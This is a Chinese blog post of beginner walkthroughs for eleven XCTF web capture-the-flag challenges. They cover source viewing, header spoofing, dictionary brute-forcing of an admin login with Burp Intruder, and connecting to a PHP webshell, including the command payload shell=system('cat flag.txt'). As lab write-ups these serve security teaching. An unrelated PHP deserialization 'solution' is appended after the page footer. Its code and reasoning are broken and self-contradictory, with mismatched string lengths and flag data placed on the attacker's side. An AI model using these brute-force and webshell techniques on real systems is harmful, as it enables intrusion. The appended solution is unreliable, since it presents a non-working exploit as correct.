攻防世界之WEB新手练习区(更新至11)

目录

001 view_source

题目:
在这里插入图片描述
分析过程:鼠标右键不能用无法使用查看元素,因此使用指令。查看网页源代码,使用view-source指令(firefox浏览器运行),即可得其flag在第17行。除去注解,flag为 cyberpeace{8976bc2e435a178076e14a858b8362be}

在这里插入图片描述查看源码方法小结
第一种:火狐浏览器可直接访问地址后单击右键查看元素。

第二种:view-source指令
  view-source是一种协议,早期基本上每个浏览器都支持这个协议。但是不知道什么原因,从IE6 Beta2以后IE就不再支持此协议了。这个方法现在只能用在FireFox浏览器上使用了!
  使用方法:在浏览器地址栏中输入view-source:地址
  回车即可看到网页的源代码了。

第三种:JavaScript法
  这种方法似乎也不是通用的,在IE6和Opere浏览器上试验成功,但是在FireFox浏览器上就没成功!
  使用方法:在浏览器地址栏中输入 javascript: s=document.documentElement.outerHTML;document.write("");document.body.innerText=s;
  回车即可看到网页的源代码。

第三种方法:通过vbscript方法
代码如下:
iLocal=“get.htm.txt”
iRemote=inputbox(“请输入你要获取源码的地址”,“脚本之家”,"//www.jb51.net")
if iRemote="" then iRemote=“http://www.baidu.com”
Set xPost=createObject(“Microsoft.XMLHTTP”)
xPost.Open “GET”,iRemote,0
xPost.Send()
set sGet=createObject(“ADODB.Stream”)
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

第四种方法:通过后台语言asp,php等

002 get post

get post参考资料
https://www.w3school.com.cn/tags/html_ref_httpmethods.asp

题目:
在这里插入图片描述步骤1.访问该网址
在这里插入图片描述2.根据提示
不行,加个?
3.选中post data,输入值b=2即可得flag为:
cyberpeace{f3191549177bbcc66490a192693cd20e}

在这里插入图片描述

003robots

参考资料
https://baike.baidu.com/item/Robots%E5%8D%8F%E8%AE%AE
题目
在这里插入图片描述
robots:搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页信息。您可以在您的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不想被robot访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎收录了,或者指定搜索引擎只收录指定的内容。该文件默认在网站根目录下。

因此直接访问该地址下的robots.txt文件看到flag文件后,访问该文件即可。

步骤:
在这里插入图片描述
在这里插入图片描述

004backup

web漏洞之备份文件
题目:
在这里插入图片描述
步骤:
在这里插入图片描述index.php的备份文件名是index.php.bak,访问即可。
在这里插入图片描述在这里插入图片描述

005cookie

在这里插入图片描述火狐cookie和hackbar插件即可,前者查看cookie存放地点,后者访问后查看其http头
在这里插入图片描述在这里插入图片描述在这里插入图片描述

006disable button


在这里插入图片描述在这里插入图片描述将将按钮button的默认值disable删掉或改为able
在这里插入图片描述

007simple js

在这里插入图片描述
simple_js
[原理]
javascript的代码审计
[步骤]
1.打开页面,查看源代码,可以发现js代码,如图所示。
在这里插入图片描述2.进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode 。

3.将JS代码复制出来进行分析,看到%35%35%2c%35%36%2c%35%34%2c%37%39%2c%31%31%35%2c%36%39%2c%31%31%34%2c%31%31%36%2c%31%30%37%2c%34%39%2c%35%30,\x转换为%,将字符串转换为URL编码。
在这里插入图片描述在这里插入图片描述
4.将得到的数字分别进行ascii处理,可得到字符串786OsErtk12。
5.规范flag格式,可得到Cyberpeace{786OsErtk12}

008xff_referer

xff_referer
[原理]
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的。
[目的]
掌握有关X-Forwarded-For和Referer的知识

[工具]
firefox、burpsuite
[步骤]
1.打开firefox。按照提示将ip修改为123.123.123.123
在这里插入图片描述

2.在请求头最后添加Referer: https://www.google.com,可获得flag在这里插入图片描述

009weak_auth

在这里插入图片描述
了解弱口令,掌握爆破方法
[环境]

windows
[工具]
burpsuite
字典https://github.com/rootphantomer/Blasting_dictionary/blob/master/常用密码.txt

[步骤]
1.随便输入下用户名和密码,提示要用admin用户登入,然后跳转到了check.php,查看下源代码提示要用字典。
2.用burpsuite截下登录的数据包,把数据包发送到intruder爆破
在这里插入图片描述
2.设置爆破点为password
在这里插入图片描述
3.加载字典
在这里插入图片描述4.开始攻击,查看响应包列表,发现密码为123456时,响应包的长度和别的不一样.
在这里插入图片描述

5.点进去查看响应包,获得flag
在这里插入图片描述

010webshell

[目标]
了解php一句话木马、如何使用webshell

[工具]
firefox、hackbar
蚁剑下载地址https://github.com/AntSwordProject/antSword/releases(https://github.com/AntSwordProject/antSword/releases)
或者使用中国菜刀
[步骤]
1.直接提示给了php一句话,可以用菜刀或蚁剑连接,此处用蚁剑链接:
在这里插入图片描述2.连接后在网站目录下发现了flag.txt文件,查看文件可获得flag
在这里插入图片描述

3.也可以使用hackbar,使用post方式传递shell=system(‘cat flag.txt’); 获得flag
在这里插入图片描述

011simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
在这里插入图片描述
简单审计下代码,发现需要以get的方式传入两个参数a和b。
阅读代码发现需要同时满足a==0且if a为真,b不是数字且b>1234才会返回flag.则由上诉结论可以得出url可为?a=0a&b=12345a

关于a和b的取值问题如下解释php手册里面写道:当一个字符串当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内,该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0如:“0e11”=="0e22"比较的时候,会将这类字符串识别为科学技术法的数字,所以0的多少次方都是零。“A”==0比较的时候,会将A转化成数值,强制转化,由于A是字符串,转化的结果是0自然和0相等。“1A”==1比较的时候会将1A转化成为数值1;但“A1“==1结果却为false,也就是"A1"转化成了0

解法2:
a参数的要求 a必须等于0且a为真
b参数的要求 b不能为数字且b大于1234

这道题的核心问题是理解PHP语言的弱类型,具体文章请参考:https://www.cnblogs.com/Mrsm1th/p/6745532.html

在这里插入图片描述

  • 7
    点赞
  • 56
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值